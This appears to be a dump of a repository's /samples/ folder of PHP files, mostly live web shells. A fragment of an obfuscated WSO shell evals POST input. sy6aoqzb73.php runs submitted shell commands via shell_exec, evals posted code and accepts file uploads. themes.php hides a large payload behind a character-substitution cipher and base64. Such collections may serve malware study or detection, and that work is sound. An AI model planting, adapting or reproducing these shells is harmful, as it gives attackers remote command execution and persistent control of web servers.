1 | php_uname(),"p\x68\x70\x5fver\x73\x69o\x6e"=>phpversion(),"\x77s\x6f_v\x65\x72si\x6f\x6e"=>WSO_VERSION,"saf\x65m\x6f\x64e"=>@ini_get("\x73\x61\x66\x65\x5fm\x6fd\x65"));echo serialize(${$ugtfpiyrum});}else{eval($_POST["\x70\x31"]);}}if(empty($_POST["\x61"])){${"\x47L\x4fB\x41LS"}["\x69s\x76\x65\x78\x79"]="\x64\x65\x66\x61\x75\x6ct\x5f\x61c\x74i\x6f\x6e";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x6f\x65c\x68\x79\x6d\x7ad\x64\x64"]="\x64\x65\x66a\x75\x6c\x74_\x61\x63\x74\x69\x6fn";if(isset(${${"\x47L\x4f\x42\x41LS"}["\x69\x77ir\x6d\x78lqtv\x79\x70"]})&&function_exists("\x61ct\x69\x6f\x6e".${${"\x47L\x4f\x42\x41\x4cS"}["\x75o\x65ch\x79\x6d\x7a\x64\x64\x64"]}))$_POST["a"]=${${"\x47\x4c\x4f\x42ALS"}["i\x73\x76e\x78\x79"]};else$_POST["a"]="\x53e\x63\x49\x6e\x66o";}if(!empty($_POST["\x61"])&&function_exists("actio\x6e".$_POST["\x61"]))call_user_func("\x61\x63\x74\x69\x6f\x6e".$_POST["a"]);exit;
2 | ?>
--------------------------------------------------------------------------------
/samples/sy6aoqzb73.php:
--------------------------------------------------------------------------------
1 | ';
53 | exit ();
54 | }
55 |
56 | if ($_POST['_evalText']) eval($_POST['_evalText']);
57 |
58 | if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo ''; } else { echo ''; } }
59 |
60 | echo ' '.php_uname().' '; echo '';
61 | echo "Remote Dir: ";
62 | echo 'Upload:
63 | ';
66 |
67 | if( $_POST['_cmd'] ) { $output = shell_exec($_POST['_cmd']); echo ' '; }
68 | echo '';
69 | echo '';echo $output; echo ' ';
70 | echo ' ';
71 | $listDirOutput = shell_exec("ls -a -F -p");
72 | echo '';echo $listDirOutput; echo ' ';
73 | echo '
';
74 |
75 | echo '
76 |
77 |
78 | ';
79 |
80 |
81 | echo '';
82 | exit();
83 | }
84 | ?>
85 |
--------------------------------------------------------------------------------
/samples/system-mail-api.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/samples/theme-inc.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/samples/themes.php:
--------------------------------------------------------------------------------
1 | 'E', '0'=>'o', '3'=>'S', '2'=>'u', '5'=>'y', '4'=>'4', '7'=>'7', '6'=>'Q', '9'=>'e', '8'=>'2', 'A'=>'U', 'C'=>'I', 'B'=>'x', 'E'=>'p', 'D'=>'f', 'G'=>'j', 'F'=>'L', 'I'=>'G', 'H'=>'5', 'K'=>'T', 'J'=>'s', 'M'=>'3', 'L'=>'P', 'O'=>'V', 'N'=>'t', 'Q'=>'d', 'P'=>'D', 'S'=>'0', 'R'=>'c', 'U'=>'q', 'T'=>'W', 'W'=>'n', 'V'=>'X', 'Y'=>'M', 'X'=>'Y', 'Z'=>'l', 'a'=>'8', 'c'=>'J', 'b'=>'F', 'e'=>'g', 'd'=>'H', 'g'=>'w', 'f'=>'O', 'i'=>'B', 'h'=>'k', 'k'=>'K', 'j'=>'b', 'm'=>'9', 'l'=>'r', 'o'=>'h', 'n'=>'1', 'q'=>'m', 'p'=>'R', 's'=>'A', 'r'=>'Z', 'u'=>'N', 't'=>'i', 'w'=>'a', 'v'=>'6', 'y'=>'v', 'x'=>'C', 'z'=>'z');
3 | function vSYB8H7($vIVMLV1, $vSOTGE4){$v0N7L2P = ''; for($i=0; $i < strlen($vIVMLV1); $i++){$v0N7L2P .= isset($vSOTGE4[$vIVMLV1[$i]]) ? $vSOTGE4[$vIVMLV1[$i]] : $vIVMLV1[$i];}
4 | return base64_decode($v0N7L2P);}
5 | $vKZ0VQS = 'xqZqkIZzR8OSkxpDA1mKObJtX8mhr3cQk3sqctiERMuZQxehVniLAnpjCqunRMpyjOmoXMpEj84tV3hectX'.
6 | 'ewVuDr8myrbmERxehVnubAZrbAZJWAhOuKnpbVSb1pbCWV3hExWJkxTO8XTg0XqbzrKXSV8pZX8mhr3ehVniLAnpjCq'.
7 | 'uyrIAtV3hEfg0crVoEQxeEfgEmxeEErts0wVuzrV60cbm6KnuAT5c'.
8 | 'S9ViZCZSECxXqCxpDA1mKObJtQdZgr3cQLKStY3CExWJkxVpHRIABVMuZjq60kKJkxTO4wV60kKJkD6EZjduZwTXekIZzR8'.
9 | 'OSkxpDA1mKObJtQdZgr3cQk3sqctshVniLAnpjCWpHRIAtVKSmCGCtk6E7xeEmxqOJR8'.
10 | 'OErts0wVuzrV60cbm6KnuAT5cS9ViZCZSEk6E7xeZZX8oyCxpDA1mKObJtQdZgr3cQ'.
11 | 'fg0crVoEQxeEfgEmxeEZRWcyRZaSYP60kKJkxqrnjquSwTm2CIZzV8Qyj8pDwVs0cIZgk'.
12 | '6E7xehhr8myrdYeL3iiRWco93etut4BfPA2YGYHFtCJCxC4FG1zfx4BYKe2Cth7xehkxTryRqOoX8eekx'.
13 | 'pWj8mhR5ioR5shr8myrxhkxVJkx6ZErts0RMp5RMp5kxpERxgecIQy'.
14 | 'j86ECx1mC1riKbubk60cxVJkx6hcRqOSQVc2Cbp3OAA7xehcD60cD60cxeZ5rVpnRq4ephbYASA7xWSkxqrn'.
15 | 'jquSwTm2CdpHRIABVMuZjq60k6E7xeZErteowVuzrV60cbm6KnuAT5cZjTbEjdYtV3hkx6hcKnCeCTZzR8OSkxpDA1mKObJtQIoZ'.
16 | 'jTOzCZSExehcxAm3CxbERMuZQxehVniLAnpjCqnZRMuor8OzCZSExehcxA'.
17 | 'm3CxbERMuZQxehVniLAnpjCqr5j8nzCZSExehcxAm3CxbERMuZQxehVn'.
18 | 'iLAnpjCqnowTBZRWYtV3hkx3hkxVJkx6ZZ9IZSkxh7xeZmxe0cwTX0r8OSV8nor8ZGVMbnjMpZRnmWR'.
19 | 'IY0k3hkxVJkx6ZqjMcZXTu0kxpDA1mKOxioR5shw8OHCPS+CxpgjMuSk60cxVJkx6hccbm6Knu'.
20 | 'AT5plrVZQCPSeRMp5wViGR8BoR8oZR5ehRImzQxh7xehcD60cD6'.
21 | '0kx3pZjTbEjdYeL3isQTHzrVcEXTBE9qA0XqbzrKXSV8pZX8mhr3ehVniLAnpjCqONXTZJR5cQk3h'.
22 | '7xehhQIoZjTOzCPSe6dO2R8O5wTbJwVEZkIcoR8A8ubmhrTuyrIA0cbm6KnuAT5cSwIONrVYtV3hEfg0ccInZR'.
23 | 'Muor8OzCPSe6dO2R8O5wTbJwVEZkIcoR8A8ubmhrTuyrIA0cbm6KnuAT5cNrVuzXTQZR5cQk3h7xehhrWc'.
24 | 'yjVYeL3isQTHzrVcEXTBE9qA0XqbzrKXSV8pZX8mhr3ehVniLAnpjCqr5j8nzCZSEkKJkx3pNXTZJrVczCPSe6d'.
25 | 'O2R8O5wTbJwVEZkIcoR8A8ubmhrTuyrIA0cbm6KnuAT5cNXTZJrVczCZSEkKJkx3pojIZoR8'.
26 | 'OzCPSe6dO2R8O5wTbJwVEZkIcoR8A8ubmhrTuyrIA0cbm6KnuAT5cojIZoR8OzCZSEk'.
27 | 'KJkx3pgXVuzrVYeL3isQTHzrVcEXTBE9qA0XqbzrKXSV8pZX8mhr3e'.
28 | 'hVniLAnpjCWioRMuZR5cQk3h7xe0cwTX0wVuzrV60cbmKpOcTpOCEk60c9g0cx3pDASO3OhO3T5Q63biDASOYptQQCPSe'.
29 | 'Ctatf5skx6hhVnubAZrbAZJWAhOuKnpbVSb1pbCWV3smCxCBYGR2Yx4gFG1tfg0c'.
30 | 'xTZqkxbZjViS93ehVnubAZrbAZJW3bpAAbmXVSrLAZQiAhpbpbmIKnCWV3hExehc9g0cx6hhVnubAZr'.
31 | 'bAZJW3bpAAbmXVSrLAZQiAhpbpbmIKnCWV3smCxCBYGR2Yx4gFG1tfg0cxVSkxVSkxeZErtoERMuZQxehVSrcK1OKk3h'.
32 | 'kxVJkx6ZqjMcZXTu0kxpDphZYpOYeXVYecINZ93smLtshrqZJr3hkx6Z7xehcx3pqwTBZjqbNr3smCIbJQIO5V8noXMcyR'.
33 | '5ehXTBEXVuZRnJhw8OHV3h7xehcx3pqwTBZjqbNr3smCIHnjOmNXTu5jMY0cI'.
34 | 'rEjIO2XTnZkKJkx6hccIrEjIO2XTnZCPSeQIO4QbmNXTu5jMY0cIrEjI'.
35 | 'O2XTnZkKJkx6hccIrEjIO2XTnZCPSe9IHnjOmNXTu5jMY0cIrEjIO2XTnZkKJkx6hccbmI3ABbAnJhw8OHVOJtjqbNr3cQCPSec'.
36 | 'IrEjIO2XTnZfg0cxVSkxVSkxeZErtoZjViS93ehrTnowTBzk3hkxVJk'.
37 | 'x6ZZ9IZSkxh7xeZmxe0crqm5rTbGwxs0cIONXTZJR5ioR5shrWpZwTgeLK4ecIONXTZJk60c9g0cx3pSwIONr3smCxpSwION'.
38 | 'rVujXVc5XVZDRqb2rxehQIoZjTOzkOS7xehccdp0rTnZCPSeXTBSrVcDjTbGRqmzkxpSwIONrOJtQIoZjTAtV3'.
39 | 'h7xehccdp0rTnZCPSejWONV8noXMcyR5ehQIoZjTAEfg0cx3pSwIONr3smCdpZ9dpDjTbGRqmzkxpSwIONr3h7'.
40 | 'xehccdp0rTnZCPSe9IHnjOmNXTu5jMY0cdp0rTnZkKJkxehccInZRMuor8AeL3shjT'.
41 | 'OzR8bWrVujXVc5XVZDRqb2rxehjTOzR8bWrVYEVKJkx6hhjTOzR8bWr3smCIbJQIO5V8noXMc'.
42 | 'yR5ehjTOzR8bWrOJtjTOzR8bWr3cQkKJkx6hhjTOzR8bWr3smCIHnjOmNXTu5jMY0cInZRMuor8AEfg0cx3pN'.
43 | 'rVuzXTQZCPSeQIO4QbmNXTu5jMY0cInZRMuor8AEfg0cx3pNrVuzXTQZCPSe9IHnjOmNXTu5jMY0cInZRMu'.
44 | 'or8AEfg0cx3aycInZRMuor8AeL3igXVuzV8noXMcyR5ehjTOzR8bWr3gecdioRMuZR5h7xehccInZRMuor8AeL3iqQ'.
45 | 'IOEjbmNXTu5jMY0cInZRMuor8AJCxpqQIOEjxh7xe0cx3pqRqmNCPSecIr5j8nzT8b5Rq'.
46 | 'bHVMcojq60cIr5j8nzkOS7xehccIr5j8SeL3iojdpZRZmNXTu5jMY0cIr5j8njCqr5j8StV3h7xehccIr5j8SeL'.
47 | '3i2QTnDjTbGRqmzkxpqRqmNkKJkx6hhrWcyj3smCdpZ9dpDjTbG'.
48 | 'RqmzkxpqRqmNkKJkx6hhrWcyj3smCdo2QTnDjTbGRqmzkxpqRqmNkKJkx6hkx6ZErts0RMp5RMp5kxpqRqmNFxs'.
49 | 'tTSuOAnpLKOStk3smL3iI6ABKp3hkx6Z7xehcx3pqRqmNCPSerWcyjOm0jMuSkxp'.
50 | 'qRqmNkKJkx6ZmxehcrTBzr60cxVJkx6hccIr5j8SeL3izQdcDR'.
51 | 'qOgjIbGr3etTSuOAnpLKOStFxstCtgecIr5j8SEfg0cxVSkxehccInowTBZRtsmCxpNXT'.
52 | 'ZJrVczT8b5RqbHVMcojq60cInowTBZRWYEVKJkxehcR8O2rbmNXTZJkxpqRqmNFxshrTnowTgJCxpSwIONr3gecInZRMuor8AJ'.
53 | 'CxpNXTZJrVCEfg0cD6EmxeEqQTHGQIZyjtizrTHhV8nowTg0cIr'.
54 | '5j8SJCxpSj5gecdunXq0JCxpSrVoSFxshjTbEjIO5k6E7xtseCxshwIOorxsmCxCtfg0kCxseCxp'.
55 | 'njtsmCduSRWpyQVigrVC0QTHERTZhkdpEjTA0k3hEfg0kCxseCxp0rTbhCx4mCxcIRqmNftshrWcyjOB2CGJkCxseCxp0rTbhCx'.
56 | '4mCxcXFAnowTBZRG0ecInowTBZRZB2CGJkCxseCxp0rTbhCx4mCxc3rViJ93nAjz0ecIr5j8nRjtC7xe0eCxsecIoZXT6eFGSe'.
57 | 'ChnEjTANOqO5R8ZyjG0eY34gVI4tfg0eCxsecIoZXT6eFGSeChuyjW'.
58 | 'pZjW6NOdZgrK0ejVOJQIZgXVcSF8bJQIO5jqbSwVrZf5C7xtse'.
59 | 'CxshwIOorxs2L3stXqmnjqpoRWhmVxCNF3SNF3SNF3SNCt4hQT42CZgt'.
60 | 'VIHRjtC7xtseCxskCxseCxpgjIbEjtsmCduSRqZgVMporMY0cdpZ9d6Efg0eCxsecdEor5smCxCNF3SNF3SN'.
61 | 'F3SNF3StFtpnjt4tVIHPj8HSrTHSFOpHRIAvCdpZ9d6yRIBowT47CIu0XVczrV6mVxccASaNfPenf3SBVxC7CIryRqnoQPnq'.
62 | 'jImMrTpRjtC7xtseCxsh9qbWCx4mCxcPj8HSrTHSFOp5XTHzrqO5FAO2X8mhwTHWftsMXqZSVI'.
63 | 'HRjtC2cdiJXTZ2FtcRjZB2CGJkCxseCs0eCxsecdEor5s2L3stF3SNF3SNF3SNF3SNCt4hQT42CZB268m2QIO2QxnA9ViZft'.
64 | 'iSrVoSF8oSjTg7CIu0XVczrV6mVxccASaNfPenf3SBVxC7VI4tfg0eCxsecdEor5s2L3st68m2QIO2QxnARqb2R8rZRtnbjquyr'.
65 | 'IZ2rz0eu8cEQbB2VI4hQIO4QbB2VI4tfg0eCxsecdEor5s2L3stF3SNF3SNF3SNF3SNCt4hQT42CtSNCGJkCxseCs0eCxsewTX0X'.
66 | '8mnjW60cbmI3ABbA5heLtsgk60eCxse9g0eCxseCxseCIryRqOoX8e0cbmI3ABbA5ioR5shrqZJr3hkCxseCxseCxi7xtseC'.
67 | 'xseCxseCxseCIZqkIrEjIODrVoERMpzkxpqwTBZT5cSjViDjqbNr3cQk3hkCxseCxseCxseCxse9g0eCxseCxseCxseCxseCxs'.
68 | 'ecIXeL3iqjMiZjtehrqZJrOJtQIngV8HojTAtV3geCWctCth7xtseCxseCxseCxseCxseCx'.
69 | 'sh9qbWCx4mCxCNF3SNF3SNF3SNF3StFtpnjt4tVI4tfg0eCxseCxseCxse'.
70 | 'CxseCxsecdEor5s2L3st68m2QIO2QxnA9ViZftioRdiJwTuoQIZyjtmyXMpZQxnz'.
71 | 'QdcZXTS7CGJkCxseCxseCxseCxseCxseCxpvXTReFGSeCqHojTAmVxCtFtpqwTBZT5c2XTnZCZS2CZgtVI4tfg0eCxs'.
72 | 'eCxseCxseCxseCxsecdEor5s2L3st68m2QIO2QxnARqb2R8rZRtnbjquyrIZ2rzEtXVuZuGpRjtC'.
73 | '7xtseCxseCxseCxseCxseCxsh9qbWCx4mCxcPj8HSrTHSFApERMiyR8ZSwTm2fqbSQIbGwInZjW67CGJkCxseCxseCxs'.
74 | 'eCxseCxseCxpvXTReFGSeCqrEjIO2XTnZLOgtCt4hrqZJrOJtjqbNr3cQFtcRCZB2VI4tfg0eCxseCxseCxseCxseC'.
75 | 'xsecdEor5s2L3iGwdO2wnmzRIBEQxotXVuZuGpDrTHGj8pZkIr5rTbhkxpqFxiqwTB'.
76 | 'ZR8Zvr3ehrqZJrOJtQIngV8HojTAtV3hEk3h2CZB2CGJkCxseCxs'.
77 | 'eCxseCxseCxseCIrGjImzr3ehrth7xtseCxseCxseCxseCdSkCxseCxseCximxt'.
78 | 'seCximxe0eCxsewTX06InowTg0cdpyFxshRMOtwtgecdEor5gecIoZXT6Ek60'.
79 | 'eCxse9g0eCxseCxseCIZqkxbZjViS93ehVniLAnpjcMrZRqcyR8AWV3hExtseCxseCxseCxseCIOGwIae'.
80 | 'CZubKhpbpxC7xtseCximxtseCxiZjduZxtseCxi7xtseCxseCxsewTX0CTONRdpHkxpDA1mKObJWQqO5Xqmzr3QQk3hk'.
81 | 'CxseCxseCxseCxserTu0j5stphbcKxC7xtseCximxWSkxqrnjquSwTm2CIbJQIO5V8noXMcyR5ehX8m2QIO2Qxh'.
82 | 'k9g0eCxseRdcZrnmNXVpGwbmojIg0c5u7kx4UkVSGOThWFxshX8m2QIO2QxgecInoQIu0rVYEfg0kCxseCIryRtehw3'.
83 | 'smCPs7CxpECPgeX8mnjW60cInoQIu0rVujYOSEf5shw3Jlk60eCxse9g0kCxseCxseCxshjWYeL3iZ9diJj8pZkxcaCtgecIn'.
84 | 'oQIu0rVujYOnjcIZQkKJkCxseCxseCxshXzCeL3iGjMO2QxehjWYEfg0eCxseCxseCxp5XTHhCPSeRqb2rxegFxs0cI'.
85 | 'Y5CxSeY3hEfg0eCxseCxseCxpGj8HSrTHSCPSeRMp5VMcZRIBoX8A0CWJtFtpNXVpGwIOzTzbQT5pEV3'.
86 | '4tD3CJCxp2RnJhRqb2rbSJCxpGj8HSrTHSkKJkCxseCdSkCxseCdcZQdO'.
87 | '5jtshX8m2QIO2QPJkD60krWO2XMpEj84eQIO4QbmNXTu5jMY0cIuyjWpZjW6ExWJkCxs'.
88 | 'eCdi5rTQDjTbSX8oDXTBJkxRGVbNApOoAVxS0TnJvrIZWwV6vVOSlkOgNkbNjfqpEr8ZSfZnQk'.
89 | '5ZRV3YWFxshX8m2QIO2QxgecInoQIu0rVYEfg0kCxseCIryRtehw3smCPs7CxpECPgeX8mnjW60cInoQIu0rVujYbSEf5sh'.
90 | 'w3Jlk60eCxse9g0eCxseCxseCxpNwT4eL3shjTbSX8oZRnJBVOJhwOS7xtseCxseCxsecIno9xsmCxpNXVpGwIO'.
91 | 'zTzcQT5pEVKJkCxseCxseCxshRqb2rxsmCdcojq60cInEjtgecIno9xh7xtseCxseCxsecdQyRq6eL3iWrTHZRqbSrO'.
92 | 'mMjMchkxp5XTHhkKJkxtseCxseCxsecIuyjWpZjW6eL3igRqOWVMcZRIBoX8A0Ctat'.
93 | 'FWi5rTQDRVOyQIA0cInoQIu0rVujYbnjcIZQk34tF5CJCxpMjMchFxshX8m2QIO2QxgeY3h7xtseCxi'.
94 | 'mxe0eCxseRdcZrnmNXVpGwbmojIg0c5uRTnpbTbpRF3ojTzEhwTQEQPEQV3JEVbSGc5gecIuyjWpZjW6JCxpNXVpGwIOzkKJ'.
95 | 'kxtseCxiqjMC0cIheL3sgf5shw3saCIuyQTHSkxpNXVpGwIOzTziQkKJecIhlk5hkCxseCdJkCxseCxseCxshX8mnjW6eL3shjTb'.
96 | 'SX8oZRnJBVOJhwOS7xe0eCxseCxseCxpMjMchCxsmCIQZjqO5XVpZV'.
97 | 'MQyRq60cIuyQTHSkKJkxtseCxseCxsecIuyjWpZjW6eL3igRqOWVMcZRIBoX8A0Ctat'.
98 | 'FWi5rTQDRVOyQIA0cInoQIu0rVujYbnjcIZQk34tF5CJCxpMjMchFxshX8m2QIO2QxgeY3h7xtseCximxe0'.
99 | 'kCxseCdcZQdO5jtshX8m2QIO2QPJkD60krWO2XMpEj84e9IHnjOmNXTu5jMY0cIuyjWpZjW6ExWJkCxseCdi5rT'.
100 | 'QDjTbSX8oDXTBJkxRGVbNfOAnRF3ojTzEhwTQEQPEQV3JEVbSGc5gecIuy'.
101 | 'jWpZjW6JCxpNXVpGwIOzkKJkxtseCxiqjMC0cIheL3sgf5shw3saCIuyQTHSkxpNXVpGwIOzTziQkKJecIhlk5hkCxseCdJkCx'.
102 | 'seCxseCxshjWONCPSecInoQIu0rVujYOnjcIZQfg0eCxseCxseCxpNwT4eL3igjMR0YKsJCxp2QTSeF3sBkKJk'.
103 | 'CxseCxseCxshjTb4CPSeRImMkP1gFxshjWONk3sNCP17xe0eCxseCxseCxp5XTH'.
104 | 'hCPSeRqb2rxehjTZ2FxshjTb4kKJkCxseCxseCxshX8m2QIO2QxsmCduSRZm5rViJXTuZkx'.
105 | 'pNXVpGwIOzTziQT5pEV3gecdcojq6JCxpGj8HSrTHSkKJkCxseCdSkCxseCdcZQdO5jtshX8m2QIO2QPJkD60krWO2'.
106 | 'XMpEj84ejWONV8noXMcyR5ehX8m2QIO2Qxhk9g0eCxseRdcZrnmNXVpGwbmojIg0c5uRTnciKhpRF3ojTzEhwTQEQP'.
107 | 'EQV3JEVxS0TnJvrIZWwV6vVOSlkOBQC5RJCxpGj8HSrTHSFxshjT'.
108 | 'bSX8oZR5h7xe0eCxserqm5kxpECPSeYPJecIheLxiGjMO2QxehjTbSX8oZRnJgV3h7CxpEk5JExtseCxi7xtseCxseCxsecI'.
109 | 'nEjtsmCxpNXVpGwIOzTzbQT5pEVKJkCxseCxseCxshjTb4CPSecInoQIu0rVujYZnjcIZQfg0eCxseCxseCxp5XTHhCPSeRqb2'.
110 | 'rxehjTZ2FxshjTb4kKJkCxseCxseCxshX8m2QIO2QxsmCduSRZm5rViJXTuZkxpNXVpGwIOzTziQT'.
111 | '5pEV3gecdcojq6JCxpGj8HSrTHSkKJkCxseCdSkCxseCdcZQdO5jtshX8m2QIO2QPJkD6'.
112 | '0krWO2XMpEj84er8O2rVcoQIODQ8m5rxehjIO2rMp0k6E7xtse'.
113 | 'CxshX8ooRWYeL3sWXTcGrIOqr8oEwqNJjTHyRdb5RMpnQWZ49tR7xtseCxshjWON68oo'.
114 | 'RWYeL3izQdcJrT40cIu0XVczkKJkCxseCxpzQdcEjqReL3sWczJkCxseCIryRtehw3smCPs7CxpECPgecIBZj'.
115 | 'qQSwPJecIhlk5hkCxseCdJkCxseCxseCxshRMp5wTHWCx4mCdunX'.
116 | 'WuSRtehX8ooRWYJCdcojq60Y3gecIHnjAu0XVczk3sNCP1JCP1Efg0eCxseD60eCxseRqOSQVc2CxpzQ'.
117 | 'dcEjqR7xWSkxqrnjquSwTm2CdioRMuDjTbGRqmzkxpGj8HSrTHSFxshRIbzR8Ozk6E7xtseCxshRIbzR5smCIb5RqbHVMiyRxehR'.
118 | 'IbzR8OzkKJkCxseCs0eCxseRqOSQVc2CduSRZm5rViJXTuZkxcjA1bKAnStFxshRIbzR5gecIuyjWpZjW6EfgEmxeEqQ'.
119 | 'THGQIZyjtiqQIOEjbmNXTu5jMY0cIuyjWpZjW6JCxpqQIOEjxhk95seCxskCxseCdcZQdO5jtizQdcDRqOgjIbGr3e'.
120 | 'tTSrApAZYV3CJCxpqQIOEjxgecIuyjWpZjW6EfgEmxeEqQTHGQIZyjtiERnmERxehRMp5k3i7xtseRqOSQVc2Cdi5rTQDj'.
121 | 'TbSX8e0Ctm9kbJBFKZQDbJBFKZQTzsNfOnaYOJgFKZQTzsNfOnaYZJgFKpQTzsNfOnaYGOjYxSnV3h0Vx40TzsNfOnaTz1NfOnjY'.
122 | 'xSHVVgBTzsNfOnjYxSHVVg5TzsNubnjYxSHVVg5uOJgFKOQk3Z7YMShF'.
123 | '5CJcduSRth7xWSkxqrnjquSwTm2CIr5j8nDwImzQxehX8m2QIO2Qxhk9g0kCxseCxp0jMuSCPSeR'.
124 | 'dcZrnm5rViJXTuZkxRyVtoMQMQarWpgkOg2F8hWFxRWF1shVnubAZrbAZJW3bpAAbmCKnuAcnSEfg0kCx'.
125 | 'seCIZqCxoERnmERxehwImzQxhExtseCxi7xtseCxseCxseRqOSQVc2CxpG'.
126 | 'j8HSrTHSfg0eCxseD60eCxsextseCxshQImlrTHzCPSerVogjImhr3et'.
127 | '6xCJCxpGj8HSrTHSkKJkxtseCxshX8m2QIO2QxsmCxpSj8NZjWujYbSeFtst6xCeFtshwImzQxs2CxC'.
128 | '+CGJkxtseCxi5rVpnRq4ecIuyjWpZjW67xWSkxqrnjquSwTm2CIO5Rqm5Vz6guxeExWJkxToZXT'.
129 | 'pZRtet3bpAAxaBFG1euPsSC1HyQxiIjMO2rxCEfg0kx3pnRqheL3igRqOWVMcZRIBoX8'.
130 | 'A0c5a0VPaEFt0hF5RJCxRWFxshVnubAZrbAZJWAhOpOAOKObmOAhhWV3sEfg'.
131 | '0kx3pGj8HSrTHSCPSeXMOzQImNV8oSQdiDRqOBQTOzQP10CqoSQdsvF5atFtpDASO3OhO3T5QCObp6VS'.
132 | 'oLAn6WV34tFSbIATEPKho2wPo3QdpI3KuTKVcxrIprQzr5jqQF9GQFpA1tkKJkx3pGj8HSrTHSCPSeRMp'.
133 | '5VMcZRIBoX8A0CxCy6Arpwhuf3IH0fbcSQ1rcYnruRhchrbZMuWc2rSNvuSNb'.
134 | '63CJCxpnRqhJCxpGj8HSrTHSCxh7xe0crVoEQxeecIuyjWpZjW6ekKJkD60kxqrnjquSwTm2CIunR'.
135 | 'MpyjOm0QdpgVMcZRVOZRM6BkxpgXVcojVYExWJkCxseCIZqkxsoCIZzV8b5RqbHkxpgXVcojVYECxhkCxseCdJkCxseCxs'.
136 | 'eCxshRIb5XTnzCPSeXVc5XVh0xtseCxseCxseCxseCxQnRqgWCPS+CxpgXVc'.
137 | 'ojVYJxtseCxseCxseCxseCxQNrVp0j86WCPS+CxQdpO6WxtseCxseCxsekKJkCxseCdS'.
138 | 'kCxseCs0eCxsewTX0CxpgXVcojVujcMO5jxQQLKSWc5sECdcZQdO5jtiI6ABKpKJkCxseCs0eCxsewTX0Cx1ewVuzrV6'.
139 | '0cdioRqbNRnJWjTOSwImhcnSECxhecdioRqbNRnJWjTOSwImhcnSeL3s0'.
140 | 'wVuzrV60cdioRqbNRnJWrIbSX3QQk3XqwVuDXVc5XVh0cdioRqbNRnJWrIbSX3QQk3heL5'.
141 | 'sWA1mKOxReftsWpSOAczJkCxseCxpgXVcojVujc8nZQIoyrxQQCPSeRMp5QImnRdiZRtehRIb5XTnzT5QNrVp0j86WV3h7'.
142 | 'xtseCxiErteeC3iEjZmoRWco93ehRIb5XTnzT5QNrVp0j86WV3geXVc5XVh0cSQbOxRJCxQ6KnuAc5hEC'.
143 | 'xheRqOSQVc2C1riKbubf5skCxseCs0eCxseF50eSc/peux4SFF6yNxSSFG6yxPpeQIiSXy62mxvSXYeSFC'.
144 | 'eSF/peuxgSFF62ux7SXz6yQIFSFheSFF62uxSCx0yxtseCxshQVcJCPSeRIb5R8ODQV'.
145 | 'cJkxpgXVcojVujcMO5jxQQkKJkCxseCIZqkxsoCIZzR8OSkxpn'.
146 | 'RqBjcMuGwIONr3QQk3sECxpnRqBjcMuGwIONr3QQCPSec8oSQdsWfg0eCxsewTX0Cx1ewVuzrV60cdO5jbJWRIbSwxQQ'.
147 | 'k3sECxpnRqBjcMioQIeWV3smCxRyczJkCxseCIZqkxsoCIZzR8OSkxpnRqBjc8oyRM6WV3hectXewV'.
148 | 'uzrV60cdO5jbJWRIbSwxQQk3sExtseCxi7xtseCxseCxsewTX0CduS'.
149 | 'RWiyR5ehQVcJT5QgXVp0cnSJCxRyc5hek60eCxseCxseCdJkCxseCxseCxseCxsecdO5jbJWwI'.
150 | 'mzQxQQCPSeRMOtRMp5kxpnRqBjcMioQIeWV3geYxgeRMp5RImzkxpnRqBjcMioQ'.
151 | 'IeWV3gec5aWk3h7xtseCxseCxseCxseCxpnRqBjcMioQIeWV3smCdunXWuSRtehQVcJT5QgXVp0cnSJCduSRWiyR'.
152 | '5ehQVcJT5QgXVp0cnSJCxRyc5hEfg0eCxseCxseCdSkCxseCxseCxiZjduZxtseCxseCxse9g0eCxseCxseCxseCxsh'.
153 | 'QVcJT5Q0jMuScnSeL3shQVcJT5QgXVp0cnS7xtseCxseCxseCxseCxp'.
154 | 'nRqBjcMioQIeWV3smCxRyczJcxtseCxseCxseD60eCxseD60eCxsecdO5jbJWRIbSwxQQ'.
155 | 'CPSeRdcZrnm5rViJXTuZkxCyTnBRFnSlF5CJCxCyCtgecdO5jbJWRIbSwxQQkKJkCxs'.
156 | 'eCIZqkxiERMuZQxehQVcJT5QBQTO593QQk3sECxpnRqBjcMioQIeWV3s2L3stLMJhQVcJT5QBQTO593QQD3C7xts'.
157 | 'eCxskCxseCxpgjMcSCPSewVuzrV60cdioRqbNRnJWRIm5QxQQk3s/CxpgXV'.
158 | 'cojVujcMiyRW6WV60eCxseCxseCxseCxsvCxeewVuzrV60cdO5jbJWRIm5QxQ'.
159 | 'Qk3s/CxpnRqBjcMiyRW6WV3svCxehQVcJT5QzX8oZjTAWVKSmc8oSQdizczaSuPYvfPsECxh7xtseCxskC'.
160 | 'xseCxpSwTnZjMOSCPSewVuzrV60cdioRqbNRnJWQIZNrTmnQxQQk3s/CxpgXVcojVujcMpEjTOyQV6WV3svCPYgfg0'.
161 | 'eCxsewTX0Cx1ewVuzrV60cdioRqbNRnJWRqOSQVc2cnSECxhecdioRqbNRnJWRqOSQVc2cnSeL3sWX8m2QIO2QxR7xtseCxskCxs'.
162 | 'eCxpzX8oZjTAeL3shQVcJT5QzX8oZjTAWVKSmc8oSQdizc5s/CxQzR8gvF5aWftRWfg0eCxsecIrgCPSe6Irzj8uljM'.
163 | 'iZjtehR8u0rTnZFtpnRqBjc8oyRM6WV3gecdiyRW6JCxpZRWc2j5gecIO5RWuSRtgecdpEjTOyQV6Efg0eCx'.
164 | 'sewTX0CxpqRxsExtseCxi7xtseCxseCxseF50eKTmvwTBJX3sUFg0eCxseCxseCIZqkxsoCIZz'.
165 | 'R8OSkxpgXVcojVujcnOzrVCN6TQZjW6WV3hek3shRIb5XTnzT5QO'.
166 | 'R8O5FAbWrTHScnSeL3stKTmvwTBJX3anFGsekIZ6wIm2rKJeOKJe6niOCIZ6wIm2r3iLA5szVzsejIZlr3iuXTYeKnYeTP'.
167 | 'JerT4NQVYEC1bgRIBZO8Ot38ZSFzA5fx4Bfxs03SoAKAgJCIBEw8Aep8OGw8aECbrZRWuEj84yux4gC1ny'.
168 | 'XqZJr3aM6KYSY3iKXTroRqhyuKC4FG18CGJkCxseCxseCxskCxseCxseCxshRqOBQTOzQxsmCxc7cdioRqbNRnJWjTOSwImhc'.
169 | 'nnmCdJhQVcJT5QgXVp0cnnmC1oAObsyY34gVdcRjtC7xtseCxseCxsecdcZRVOZRM6eFGS'.
